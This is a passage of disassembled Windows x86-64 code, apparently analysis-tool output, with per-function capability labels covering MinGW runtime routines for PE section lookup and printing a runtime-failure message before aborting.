test eax, eax
jne 0x402e4b
test rsi, rsi
je 0x402e4b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402e30
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403190
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055c0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4031fd
mov rcx, r8
call fcn.00403070
test eax, eax
je 0x4031fd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4031fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4031f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4031ff
add rax, 0x28
cmp rax, r9
jne 0x4031e0
xor eax, eax
add rsp, 0x28
ret

Function at 0x403720
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403570
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403570
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530